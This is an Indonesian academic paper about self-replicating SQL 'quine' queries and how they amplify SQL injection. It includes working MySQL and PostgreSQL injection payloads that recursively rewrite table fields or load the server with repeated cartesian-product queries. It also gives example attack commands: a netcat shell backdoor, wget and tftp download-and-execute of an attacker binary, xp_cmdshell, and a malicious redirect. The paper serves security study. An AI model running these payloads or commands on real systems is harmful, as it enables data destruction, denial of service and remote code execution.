“APLIKASI QUINE PADA SQL” Muqtafi Akhmad (13508059) Program Studi Teknik Informatika Institut Teknologi Bandung e-mail:
[email protected]
Abstrak Makalah ini berisikan implementasi quine pada query SQL dan pengujiannya. Pembahasan dimulai dengan pengenalan konsep mesin Turing klasik mulai dari model mesin Turing hingga hubungan dari mesin Turing dengan fungsi rekursif. Kemudian kita akan membahas quine mulai dari pengenalan, eksploitasi yang dapat dihasilkan, dan teknik penulisan querySQL dengan quine pada lingkungan DBMS MySQL dan PostgreSQL. Kemudian kita akan melakukan pengujian apakah quine cukup efektuf untuk diaplikasikan pada serangan SQL query injection. Kata kunci : quine, SQL, query, basisdata, relasi, eksploitasi
1. Pendahuluan Perkembangan internet mempermudah akses kita dengan informasi yang ada di jaringan web. Dengan internet semua informasi dapat diakses dengan mengetahui indentifier, yang berupa URL, dari dokumen, resource, atau service untuk dimanfaatkan. Akan tetapi, dengan adanya kemudahan akses kita ke informasi di internet juga berarti kemudahan orang lain untuk akses informasi yang kita miliki. Seringkali attacker mencari-cari celah dari aplikasi / service yang kita miliki untuk kemudian dieksploitasi atau dicuri informasinya dengan berbagai modus. Salah satu modus yang sering dipakai oleh attacker untuk menyerang website adalah SQL injection, yaitu menyisipkan query SQL ke data input sehingga dapat menembus ke aplikasi dan tereksekusi di server sebagai query dari aplikasi. Melalui query SQL attacker dapat melakukan penambahan tuple pada relasi, penghapusan tuple, pengubahan data bahkan menghapus relasi atau basisdata. Quine, program yang dapat menuliskan listing program itu sendiri, adalah salah satu contoh mekanisme untuk melakukan eksekusi query secara berulang-ulang. Dengan penggunaan teknik quine, query SQL yang dituliskan dapat dieksekusi berkali-kali di server dan efeknya teramplifikasi dan mampu menimbulkan kerusakan yang fatal. Dalam makalah ini akan dibahas konsep mengenai mesin Turing, fungsi rekursif, dan quine. Kemudian dilanjutkan dengan aplikasi quine pada query SQL dan pengujiannya.
2. Dasar Teori 2.1.Mesin Turing 2.1.1. Mesin Turing dan Fungsi Rekursif Sebuah mesin Turing M terdiri dari tiga komponen : 1
sebuah memory atau unit penyimpanan, biasanya diasosiasikan dengan sebuah tape. Tape memiliki panjang tak terhingga dan terbagi atas sel-sel. Setiap sel berisi satu simbol pada tiap waktu, dipilih dari anggota himpunan simbol terhingga (alfabet). Sebuah sel blank jika tidak berisi simbol apapun, tetapi dalam setiap kasus akan selalu terdapat sejumlah sel yang tidak blank. Awalnya, tape berisi data input, kemudian di akhir pemrosesan tape akan berisi data output dan selama komputasi tape akan menampung data sementara (temporary data). kepala untuk melakukan baca dan tulis (read/write head) yang bergerak ke kiri atau kanan pada tape, satu sel pada tiap waktu. Kepala dapat membaca isi dari current cell atau menuliskan simbol padanya (dengan terlebih dahulu menghapus simbol pada sel tersebut). sebuah control function yang mengatur pergerakan kepala pembacaan. Sebuah area memory yang berisi state lengkap dari mesin dan semua instruksi spesifik ke permasalahan diproses oleh control function. Setiap gerakan dan aksi dari kepala pembacaan ditentukan oleh isi dari area memory dan current cell. Untuk lebih spesifik control function terbagi dari dua fungsi : sebua fungsi state yang memiliki peran untuk mengupdate state internal dari F dan sebuah fungsi untuk menghasilkan simbol keluaran. Operasi dasar yang dapat dilakukan kepala pembacaan yang dapat dilakukan satu pada satu satuan waktu adalah : o bergerak ke next cell ke kanan dari tape o bergerak ke next cell ke kiri dari tape o tidak bergerak, komputasi selesai, mesin halt o menulis simbol ke current cell
Kerja dari mesin
dapat disederhakan menjadi tiga langkah :
Reading step : isi dari current cell dibaca dan dikirimkan ke control function
Gambar 1 Sketsa dari sebuah mesin Turing
Computing step : update dari state internal fungsi berdasarkan state sekarang dan nilai input . Operation step:melakukan sebuah operasi berdasarkan dari state sekarang dan nilai input .
Walaupun primitif, model sederhana ini dapat mengekspresikan algoritma dan menyimulasikan bahasa pemrograman apapun.
2
Definisi 1 Sebuah mesin Turing adalah sebuah fungsi sebagai
yang untuk beberapa bilagan asli , dapat didefinisikan
Himpunan adalah ruang state dari mesin , himpunan adalah dua simbol yang dapat disimpan dalam sel , dan adalah himpunan kemungkinan arah gerak operasi baca/tulis (ke kanan atau ke kiri). Apa hubungan antara representasi formal ini dengan operasi praktis dari sebuah mesin Turing? Perhatikan contoh berikut :
Gambar 2 Mesin Turing menghitung penjumlahan dua integer
M(4, 1) = (0,R, 3) berarti ketika mesin berada pada state e4 ketika melakukan pembacaan current cell dengan nilai 1 mesin akan menghapus angka 1 (dan meninggalkan angka 0) head akan digerakkan ke kanan dan lanjut ke instruksi e3. Jika nilai M(4, 1) tak terdefinisi, maka ketika mesin berada pada state e4 dan mendapatkan 1 ketika membaca sel, mesin halt (berhenti). Salah satu pertanyaan penting adalah apakah mungkin untuk menggambarkan setiap fungsi dengan mesin tersebut? Dengan kata lain apakah ada fungsi yang tidak dapat digambarkan dengan mesin Turing? Untuk menjawab pertanyaan ini kita akan menggunakan konsep dari fungsi rekursif. Tanpa maksud mengurangi lingkup persoalan, kita membatasi pembahasan pada bilangan asli
yang dinotasikan sebagai fungsi parsial ke-k (karena definisi dari domain dapat hanya subset dari dan sebuah fungsi dianggap total jika domainnya berada pada ). Input dari fungsi tersebut dapat dikodekan dalam mesin Turing dengan string berikut :
Definisi 2 Sebuah fungsi parsial ke-k f dikatakan rekursif jika terdapat mesin Turing sehingga ketika dijalankan pada instruksi awal e0 dan melakukan pembacaan pada simbol paling kiri dari C, maka :
3
1. Jika f (x1,x2,...,xk) terdefinisi, maka halt dan tape berisi string dengan nilai f(x1,x2,...,xk) (kepala pembacaan membaca simbol palingkiri dari string ini dengan tape blank di kanan dari string) 2. Jika f(x1,x2,...,xk) tidak terdefinisi, maka
tidak akan halt.
Maka, sebuah fungsi rekursif adalah fungsi yang dapat dikomputasi secara efektif Konsep dari fungsi rekursif diawali oleh Kurt Gödel. Istilah ‘recursive’ dikenalkan oleh Gödel untuk sebuah fungsi f untuk menghasilkan nilai f(n+1) dari f(n). Teorema 1 (Recursive functions cardinality) Terdapat ℵ0 (a countable infinity of) fungsi rekursif parsial dan terdapat tepat ℵ0 fungsi rekursif. Semua fungsi konstan adalah rekursif (karena fungsi konstan adalah bentuk fungsi rekursif primitif) Teorema 2 (Existence of non recursive functions) Terdapat fungsi yang tidak rekursif Dengan teorema ini kita tambahakn Definisi 2 sehingga dapat digeneralisasi ke relasi k-ary pada N, dengan definisi berikut Definisi 3 Sebuah relasi dikatakan “decidable” jika terdapat sebuah prosedur efektif yang, untuk setiap objek , dapat memverifikasi jika benar atau salah. Jika decidable jika dan hanya jika fungsi karakteristiknya rekursif, atau dapat dikomputasi secara efektif. 2.1.2. Mesin Turing Universal Model dari mesin Turing sebagaimana yang telah kita bahas, tidak cukup untuk mendeskripsikan perilaku dari komputer nyata. Sehingga dibutuhkan sebuah model efektif dengan konsep yang lebih umum, yaitu Univeral Turing Machines (UTM). Definisi 4 Sebuah mesin Turing universal (Universal Turing Machine, ) adalah mesin Turing yang ketika melakukan proses sebuah input, dapat melakukan interpretasi input sebagai deskripsi dari mesin Turing lain, , bersama dengan deskripsi dari input data untuk mesin tersebut. Fungsi dari adalah untuk menyimulasikan perilaku dari melakukan proses untuk input . Kita dapat menuliskan . Bagaimana kita dapat mengubah masalah komputasi ke dalam konteks mesin Turing univesal? Apakah proses encoding sendiri merupakan fungsi rekursif? Untuk menjawabnya, perhatikan dua temuan berikut
Terdapat relasi ternary yang berlaku jika dan hanya jika e adalah bilangan asli hasil encoding mesin Turing M dan y adalah computation record untuk M dimulai dengan input data pada tapenya 4
Terdapat sebuah fungsi rekursif U sehingga ketika berlaku maka adalah nilai output dari komputasi.
Secara intuitif dapat dipahami bahwa mempertimbangkan bahwa
adalah fungsi parsial ke-k dengan adalah benar
decidable dan
adalah nilai
adalah fungsi rekursif. Kemudian dengan
terkecil sehingga
Teorema 3 1.Fungsi parsial ke- k+1 dengan nilai pada rekursif 2.Untuk setiap , fungsi parsial ke – k, fungsi
adalah
adalah rekursif
3.Setiap fungsi rekursif parsial ke-k bernilai sama dengan adalah index dari fungsi
adalah fungsi
untuk beberapa
.
2.1.3. Fungsi Rekursif dan Virus Hasil pembahasan sebelumnya telah memberikan kita sebuah model program komputer yang powerful. Virus komputer pada dasarnya adalah instance dari program komputer yang memiliki fungsionalitas dan fitur tertentu. Recursion theorem (Kleene, 1938) secara implisit memberikan kita formalisasi pertama dari reproducing program, bertahun-tahun sebelm von Neumann memulai penelitiannya pada self reproducing automata (yang dimulai pada tahun 1948). Dengan recursion theorem, efektivitas dari program viral terbukti Teorema 4 (Recursion Theorem) Untuk fungsi rekursif total
, terdapat sebuah integer sehingga
Teorema ini, dalam bentuk yang lebih umum, juga berlaku pada fungsi rekursif parsial. Pembuktian untuk teorema ini adalah sebagai berikut : Ambil sebuah integer , kemudian definisikan sebuah fungsi rekursif
sebagai :
Dengan menggunakan himpunan instruksi yang encoded menggunakal bilangan Gödel . Ketika memproses dirinya, jika hasilnya, dinotasikan dengan , terdefinisi, maka kita menggunakan himpunan instruksi yang berasosiasi dengan dengan sebagai input, kemudian menampilkan keluaran , jika terdefinisi. Jelas bahwa instruksi untuk bergantung pada . Misalkan ambil sebagai fungsi rekursif yang menghasilkan, dari , bilangan Gödel untuk instruksi fungsi . Kemudian 5
Sekarang ambil sebuah fungsi rekursif . Kemudian , kombinasi / komposisi dari dan adalah sebuah rekursif. Misalkan adalah bilangan Gödel untuk . Karena adalah fungsi rekursif total total, maka . Maka, dengan mensubtstitusikan untuk pada definisi dari , kita mendapatkan
sebagai hasilnya, karena
.
Pada dasarnya, recursive theorem memungkinkan program untuk melakukan aksi dengan operasi yang sama. Jika fungsi adalah fungsi identitas, salah satu contoh fungsi rekursif total dengan mesinTuring merupakan mesin kosong, merupakan konsep dasar dari virus sederhana. Untuk setiap fungsi , selain fungsi identitas, recursion theorem menjelaskannya dalam cara yang sederhana mekanisme polimorfisme, sekitar lima puluh tahun sebelum Cohen dan Adleman mengerjakan virus pertama pada komputer. Salah satu aplikasi yang mirip dengan mekanisme pada virus adalah menuliskan program dengan output source code program itu sendiri. Aplikasi ini lebih dikenal dengan nama “Quine”. Berikut adalah contoh quine dalam bahasa C, hasil karya dari Joe Miller p="p=%c%s%c;main(){printf(p, 34, p, 34);}"; main(){printf(p, 34, p, 34);}
2.2.Quine 2.2.1. Pengenalan Quine Quine adalah sebuah program yang dapat mencetak listing source code-nya sendiri. Ini berarti ketika dijalankan, program akan mencetak sesuai dengan yang programmer tuliskan. Cara yang paling mudah untuk melakukannya adalah dengan membuka source code kemudian mencetaknya di layar, akan tetapi program mungkin tidak tahu di mana lokasi source file yang sebenarnya, program hanya memiliki akses ke data yang terkompilasi atau bahasa pemrograman tidak memperbolehkan operasi tersebut. Ide dasar untuk menulis quine adalah “Mungkin untuk sebuah program memanipulasi dirinya sendiri (contohnya representasi tekstualnya) atau representasi lain secara langsung “ Kemudian untuk merealisasikannya kita menuliskan program terdiri dari dua bagian, satu bagian memanggil kode dan satu yang lain memanggil data. Data merepresentasikan (bentuk tekstual) dari kode, dan diturunkan secara algoritmik (sebagian besar dengan cara menambahkan tanda kutip di awal dan akhir). Kode menggunakan data untuk mencetak kode kemudian menggunakan data untuk mencetak data itu sendiri. Untuk selanjutnya kita akan menggunakan istila “kode” dan “data” untuk mendeskripsikan bagian kode dan data dari quine sebagaimana yang dijelaskan. Pembedaan kode dan data pada quine sangat membantu, akan tetapi tidak selalu valid untuk semua situasi. Terkadang koda dan data tidak dapat dibedakan dengan baik, kode memainkan peran sebagai data dan sebaliknya. 6
2.2.2. Fixed Point Theorem Berbicara mengenai quine berarti berbicara mengenai fixed point theorem karena fixed point theorem adalah inti dari quine itu sendiri. Sebelum membahas fixed point theorem, perlu bagi kita untuk menyepakati hal-hal berikut :
Fungsi rekursif (dari beberapa variabel dan nilai integer) dapat dikomputasikan dengan sebuah program (misalkan mesin Turing), baik fungsi rekursif parsial ataupun total. Kita akan menggunakan penomoran untuk mengasosikan program dengan sebuah integer. Kita menuliskan untuk hasil dari program ke- ketika diberikan sebuah input . Dari universality theorem, fungsi parsial dikatakan sebagai sebuah fungsi dari yang nilainya dapat dihitung. Dengan kata lain, terdapat sebuah universal Turing machine yang dapat menginterpretasikan bahwa . Dengan kata lain, kita dapat mengkonstruksi sebuah program yang akan menerima program dengan beberapa argumen dan mengembalikan nilai balikan dari untuk argumen yang diberikan. Ini berarti adalah sebuah interpreter, yang membaca sebuah program dan menginterpretasikannya. Dengan kata lain universality theorem mengatakan eksistensi dari interpreter. Smn theorem kebalikan dari universality theorem. Smn theorem menyatakan bahwa jika dapat dihitung. Dengan kata lain smn theorem mengatakan eksistensi dari fungsi rekursif sehingga . Smn theorem mengatakan jika kita memiliki program dengan beberapa input, kita dapat (untuk setiap ) menghasilkan sebuah program yang akan bertindak sebagai .
Menggunakan smn theorem dan universality theorem kita dapat membuktikan fixed-point theorem. Bunyi fixed-point theorem : “untuk setiap fungsi rekursif total ”
yang computable terdapat sebuah index (program)
sehingga
Dengan kata lain, ini berarti jika kita memiliki sehuah transformasi algoritmik dari pada program maka akan ada sebuah program yang mana program akan melakukan hal yang sama dengan program yang telah ditransformasikan. Bagaimana fixed-point theorem membuktikan eksistensi dari quine? Jawabannya sederhana : untuk setiap program , misalkan terdapat program yang menuliskan kode dari . bersifat computable. Kemudian dari fixed-point theorem didapatkan bahwa jika terdapat sebuah program sehingga melakukan hal yang sama dengan (misalkan menuliskan kode program) maka dapat menuliskan kode program dari .
2.3.Eksploitasi Menggunakan SQL Mungkin beberapa dari kita masih belum bisa membayangkan bahaya dari SQL jika disalahgunakan. Modus yang paling sering digunakan adalah teknik SQL injection, di mana query SQL ‘dipaksakan’ untuk dieksekusi di mesin server. Berikut adalah bahaya / ancaman yang dapat ditimbulkan dari query SQL yang di-inject-kan oleh attacker. 2.3.1. Menghapus Data Attacker dapat menyisipkan kode-kode untuk menghapus relasi atau basisdata seperti DROP TABLE atau DROP BASISDATA. Beberapa DBMS memungkinkan penggunaan pernyataan kondisional (IF ... THEN ... ) yang memungkinkan attacker lebih leluasa dalam menghapus data.
7
2.3.2. Denial of Service Beberapa DBMS memiliki fitur untuk melakukan shutdown basisdata, contohnya Microsoft SQL Server. Microsoft SQL Server menyediakan fungsi SHUTDOWN, yang memungkinkan shut down basisdata dari SQL. 2.3.3. Membaca Data dari Basisdata Misalkan kita memiliki query untuk melakukan updating data dari basisdata UPDATE ContainerContents SET OldContents='%contents%' WHERE TagID='%id%'
Query tersebut dapat disusupi dengan query SELECT '|| (SELECT ...) ||'
Dalam kasus ini, tanda petik digunakan untuk melakukan SQL injection dan menyebabkan data diinterpretasikan sebagai kode. Operator ‘||’ adalah operator untuk melakukan konkatenasi string, menambahkan query SELECT tersebut ke dalam basis data. 2.3.4. Mengeksekusi Shell Command Microsoft SQL Server menyediakan prosedur xp_cmdshell yang memungkinkan eksekusi shell command EXEC Master..xp_cmdshell 'commands';
Secara default, hanya administrator yang memiliki privilege untuk mengeksekusinya, akan tetapi hal ini masih bisa diatasi dengan pemberian access privilege menggunakan SQL injection yang lain. 2.3.5. Client Side Scripting Bahaya yang ditimbulkan oleh client side scripting relatif lebih kecil karena browser hanya menyediakan akses yang terbatas ke resource lokal komputer. Salah satu layanan yang disediakan oleh browser adalah melakukan navigasi menuju sebuah URL spesifik. Menggunakan layanan ini attacker dapat menggiring browser untuk membuka halaman yang mengandung konten berbahaya. Berikut adalah contoh script javascript untuk berpindah ke URL yang document.location='http://ip/exploit.wmf;
2.3.6. Backdoor Menggunakan Shell Command Contohnya adalah pemasangan backdoor dengan netcat untuk listen pada sebuah TCP port dan mengeprint data yang masuk. Data dapat di-pass ke sebuah instance dalam shell, untuk kemudian dieksekusi seperti contoh berikut netcat -lp1234|sh
yang listen pada port 1234. System utility lain yang dapat digunakan adalah screen, yang membuat sebuah instance shell baru yang terlepas dari terminal dan berjalan sebagai sebuah daemon. 8
screen -dmS t bash -c"while [ true ]; do netcat -lp1234|sh; done"
Contoh di atas melakukan exploit dalam sebuah infinite loop, yang memungkinkan attacker untuk connect ke backdoor berkali-kali. 2.3.7. Mengeksekusi Kode Menggunakan Shell Command Contoh program yang dapat dipakai adalah wget (pada Linux) untuk mendownload program yang ditulis oleh attacker, untuk kemudian dieksekusi wget http://ip/myexploit -O /tmp/myexploit; chmod +x /tmp/myexploit; /tmp/myexploit
Untuk windows dapat digunakan tftp tftp -i ip GET myexploit.exe & myexploit
3. Analisis 3.1.Basisdata Pengujian Untuk pengujian query SQL dengan quine digunakan dua buah basisdata, basis data yang pertama adalah basisdata menyimpan informasi mengenai toko musik dan genre musik yang dijual di toko. Basisdata diimplementasikan menggunakan DBMS MySQL. Basisdata yang kedua adalah basisdata Northwind Traders, sebuah perusahaan fiktif import dan eksport makanan, sebuah contoh basisdata yang digunakan oleh Microsoft untuk mendemonstrasikan fitur dari produk‐produknya, termasuk SQL Server dan Microsoft Access. Basisdata Northwind Traders ini diimplementasikan dengan DBMS PostgreSQL. 3.1.1. Basisdata Music Store
Gambar 3 Diagram relasional basisdata music store
Basisdata music store berisikan tiga relasi : Shops : berisikan daftar toko musik yang ada Genres : berisikan daftar genre musik yang disediakan oleh toko 9
Shopgenres : berisikan relasi many-to-many antara shops dan genres memetakan genre musik yang disediakan oleh toko 3.1.2. Basisdata Nothwind Traders
Gambar 4 Diagram relasi basisdata Northwind Traders
Basisdata Northwind Traders berisikan relasi berikut : Categories : kategori makanan yang dijual oleh Northwind Traders. Berelasi one-to-many dengan products 10
Customers : keterangan lengkap mengenai customer, meliputi nama, kontak, dan alamat. Satu customer dapat memiliki lebih dari satu order, customers berelasi one-to-many dengan orders Employees : keterangan mengenai pegawai Northwind Traders, meliputi nama, jabatan dan informasi personal. Berelasi one-to-many dengan orders Order_Details : detail produk, jumlah, dan harga untuk masing-masing order dalam relasi orders. Berelasi many-to-one dengan orders dan many-to-one dengan products Orders : berisi keterangan mengenai customer pemesan, tanggal pemesanan, dan biaya untuk masing-masing order. Berelasi one-to-many dengan order_details dan many-to-one dengan employees Products : keterangan meliputi nama produk, supplier, harga, dan jumlah unit dalam stok. Berelasi one-to-many dengan order_detail, many-to-one dengan suppliers, dan many-to-one dengan categories Shippers : jasa pengiriman barang. Berelasi one-to-many dengan orders Suppliers : keterangan nama supplier, alamat, kontak, dan hyperlink ke home page situs milik supplier. Berelasi one-to-many dengan products.
3.2.Pengujian SQL Quine Pada pengujian akan digunakan query untuk melakukan updating isi relasi dengan SQL quine. Updating dilakukan per tuple pada relasi dilakukan secara rekursif hingga akhir dari relasi. 3.2.1. Pengujian pada DBMS MySQL Teknik pengujian pada DBMS MySQL : 1. Tulis sebuah variabel string untuk menyimpan query SQL lengkap dengan kokatenasi pada variabel string ini sendiri. 2. Tulis query update, tambahkan konkatenasi variabel string pada akhir query untuk menghasilkan quine. Pertama melakukan updating field name pada relasi genre SET @a='UPDATE genres SET name=concat(\'%content%\\\' WHERE genreID=\\\'%id%\\\'; SET @a=\', QUOTE(@a), \'; \', @a); --'; UPDATE genres SET name=concat('%content%\' WHERE genreID=\'%id%\'; SET @a=', QUOTE(@a), '; ', @a); --
Pada query UPDATE di baris kedua baris kedua terdapat konkatenasi query dengan definisi variable string @a menggunakan fungsi QUOTE. Karena pada pada string @a terdapat definisi dari query UPDATE, maka dihasilkan query UPDATE baru yang identik dengan query asalnya, ketika query baru ini dieksekusi akan dihasilkan query berikutnya dan begitu seterusnya hingga akhir relasi.
11
Gambar 5 Relasi genres sebelum eksekusi query update
Gambar 6 Eksekusi query update yang mengandung quine pada relasi genres
Gambar 7 Hasil eksekusi query quine update pada relasi genres
Kemudian menggunakan teknik yang sama melakukan pengujian query update pada relasi shops dengan mengubah nilai field email. SET @a='UPDATE shops SET email=concat(\'%content%\\\' WHERE shopID=\\\'%id%\\\'; SET @a=\', QUOTE(@a), \'; \', @a); --';
12
UPDATE shops SET email=concat('%content%\' WHERE shopID=\'%id%\'; SET @a=', QUOTE(@a), '; ', @a); --
Gambar 8 Relasi shops sebelum eksekusi query update
Gambar 9 Eksekusi query update yang mengandung quine pada relasi shops
Gambar 10 Hasil eksekusi query quine update pada relasi shops
3.2.2. Pengujian pada DBMS PostgreSQL Teknik pengujian query quine pada PostgreSQL agak berbeda dengan pengujian pada DBMS MySQL, cara pengujiannya adalah sebagai berikut : 1. Buat sebuah fungsi yang mengembalikan string query sekaligus pemanggilan dari fungsi itu sendiri, mirip dengan variabel string pada saat pengujian di lingkungan DBMS MySQL 2. Tuliskan query update ditambah dengan (dituliskan di belakang tanda titik koma) pendefinisian fungsi yang mengembalikan definisi string query 3. Setiap kali pendefinisian fungsi, tambahkan perintah DROP FUNCTION untuk menghapus fungsi agar dapat di-create ulang, dipanggil, untuk kemudian dihapus kembali secara berulang-ulang. Berikut adalah fungsi dan contoh query update untuk mengubah isi dari atribut address pada relasi customers. CREATE FUNCTION changecustomeraddress() RETURNS text AS ' SELECT text ''UPDATE customers SET address=''''%content%'''''''' WHERE customerid=''''''''%id%''''''''; CREATE FUNCTION changecustomeraddress() RETURNS text AS '''''''' SELECT text '''''''''''' || quote_literal(trim (both '''''''''''''''' from quote_literal(changecustomeraddress()))) || '''''''''''';'''''''' LANGUAGE SQL; '''' || changecustomeraddress(); DROP FUNCTION changecustomeraddress();'';' LANGUAGE SQL;
13
UPDATE customers SET address='%content%'' WHERE customerid=''%id%''; CREATE FUNCTION changecustomeraddress() RETURNS text AS '' SELECT text ''' || quote_literal(trim (both '''' from quote_literal(changecustomeraddress()))) || ''';'' LANGUAGE SQL; ' || changecustomeraddress(); DROP FUNCTION changecustomeraddress(); --
Gambar 11 Relasi customers sebelum eksekusi query update
Gambar 12 Hasil eksekusi query update yang mengandung quine pada relasi customers
Kemudian menggunakan teknik yang sama melakukan pengujian untuk melakukan updating pada relasi orders dengan mengubah nilai dalam field shipname. CREATE FUNCTION changeshippers() RETURNS text AS ' SELECT text ''UPDATE orders SET shipname=''''%content%'''''''' WHERE orderid=''''''''%id%''''''''; CREATE FUNCTION changeshippers() RETURNS text AS '''''''' SELECT text '''''''''''' || quote_literal(trim (both '''''''''''''''' from quote_literal(changeshippers()))) || '''''''''''';'''''''' LANGUAGE SQL; '''' || changeshippers(); DROP FUNCTION changeshippers();'';' LANGUAGE SQL; UPDATE orders SET shipname='%content%'' WHERE orderid=''%id%''; CREATE FUNCTION changeshippers() RETURNS text AS '' SELECT text ''' || quote_literal(trim (both '''' from quote_literal(changeshippers()))) ||
14
''';'' LANGUAGE SQL; ' || changeshippers(); DROP FUNCTION changeshippers(); --
Gambar 13 Relasi orders sebelum eksekusi query update
Gambar 14 Hasil eksekusi query update yang mengandung quine pada relasi orders
3.2.3. Modifikasi pada Quine SQL Dari contoh-contoh yang diberikan, kita hanya menjalankan sebuah query untuk kemudian diubah ke dalam bentuk quine untuk mengulang dirinya melakukan akses hingga akhir relasi. Akan tetapi, pemanfaatan quine pada SQL tidak hanya terbatas pada modifikasi satu query. Dalam satu quine dapat dituliskan lebih dari satu query, dengan catatan query yang ditambahkan juga disalin ke definisi string untuk dipanggil di pengulangan. Contohnya ambil quine SQL pada MySQL yang melakukan updating nilai field email pada shops. Dalam satu quine SQL, kita tambahkan query untuk mengubah field name pada shops dengan string ‘testingpayload’ sehingga quine SQL akan berubah sebagai berikut : SET @a='UPDATE shops SET email=concat(\'%content%\\\' WHERE shopID=\\\'%id%\\\'; SET @a=\', QUOTE(@a), \'; \', @a); UPDATE shops SET name = \\\'testingpayload\\\'; --'; UPDATE shops SET email=concat('%content%\' WHERE shopID=\'%id%\'; SET @a=', QUOTE(@a), '; ', @a); UPDATE shops SET name = 'testingpayload'; --
15
Quine di atas melakukan updating relasi shops pada dua field sekaligus, email dan name.
Gambar 15 Hasil eksekusi quine SQL pada relasi shops mengubah nilai dua field sekaligus
Dan dengan cara yang sama kita dapat melakukan query yang membutuhkan resource komputasi lebih, contohnya query yang memanfaatkan operasi cartesian product. Quine SQL terakhir kita ubah dengan menambahkan operasi seleksi seluruh field pada hasil cartesian product dari shops, genres, dan shopgenres sehingga dihasilkan quine SQL baru dengan tiga query di dalamnya. Query SQL hasil modifikasi adalah sebagai berikut : SET @a='UPDATE shops SET email=concat(\'%content%\\\' WHERE shopID=\\\'%id%\\\'; SET @a=\', QUOTE(@a), \'; \', @a); UPDATE shops SET name = \\\'testingpayload\\\'; SELECT * FROM genres, shopgenres, shops; -'; UPDATE shops SET email=concat('%content%\' WHERE shopID=\'%id%\'; SET @a=', QUOTE(@a), '; ', @a); UPDATE shops SET name = 'testingpayload'; SELECT * FROM genres, shopgenres, shops; --
Dengan penambahan query ketiga, DBMS akan dibuat ‘sibuk’ dengan melakukan eksekusi query yang melibatkan cartesian product secara terus menerus sehingga ancaman query ditambah dengan denial of service.
Gambar 16 Hasil eksekusi quine dengan tambahan query ketiga melakukan cartesian product secara terus menerus
16
4. Kesimpulan Dari pembahasan dimulai mulai dari dasar teori sampai dengan pengujian dan analisis, dapat diambil kesimpulan berikut 1. Quine terbukti efektif dapat diimplementasikan ke dalam bahasa query SQL, menghasilkan query yang dapat mereplikasi dirinya sendiri. Untuk menulis query quine SQL, dibutuhkan dua bagian yaitu string definisi query, berisikan definisi query yang akan direplikasi dan query yang akan dieksekusi ditambah dengan pemanggilan string definisi query. Ketika query dieksekusi, query akan memanggil definisi dirinya dan melakukan eksekusi query yang sama kemudian memanggil query lagi begitu seterusnya secara rekursif. 2. Quine SQL memungkinkan amplifikasi serangan dari SQL yang disisipkan melalui SQL injection dengan mengeksekusi query yang sama berkali-kali. Dengan SQL yang telah dimodifikasi sebagai quine, serangan yang mungkin dilakukan dengan SQL injection seperti penambahan tuple, penghapusan tuple, pengubahan isi relasi hingga penghapusan relasi atau basisdata menjadi semakin berbahaya dan menimbulkan kerusakan fatal pada basisdata. Selain menyerang konsistensi dari basisdata quine SQL juga dapat dimanfaatkan untuk menyerang server, contohnya dengan penyerangan dalam bentuk denial of service. Denial of service dapat dilakukan dengan meminta server melakukan eksekusi query yang membutuhkan waktu eksekusi yang lama, contohnya query yang membutuhkan operasi cartesian product atau join, secara berulang-ulang, memanfaatkan self replication nature dari quine.
5. Referensi [1]
Filiol, Eric. “Computer Viruses : from theory to application”, Springer : Verlag (France)
[2]
Quines (Self Replication Program) http://www.madore.org/~david/computers/quine.html (Waktu akses : 5 April 2011, pukul 16:57)
[3]
SQL Virus Using Quines http://www.rfidvirus.org/exploits/sql_quine/index.html (Waktu akses : 7 Mei 2011, pukul 20:36)
17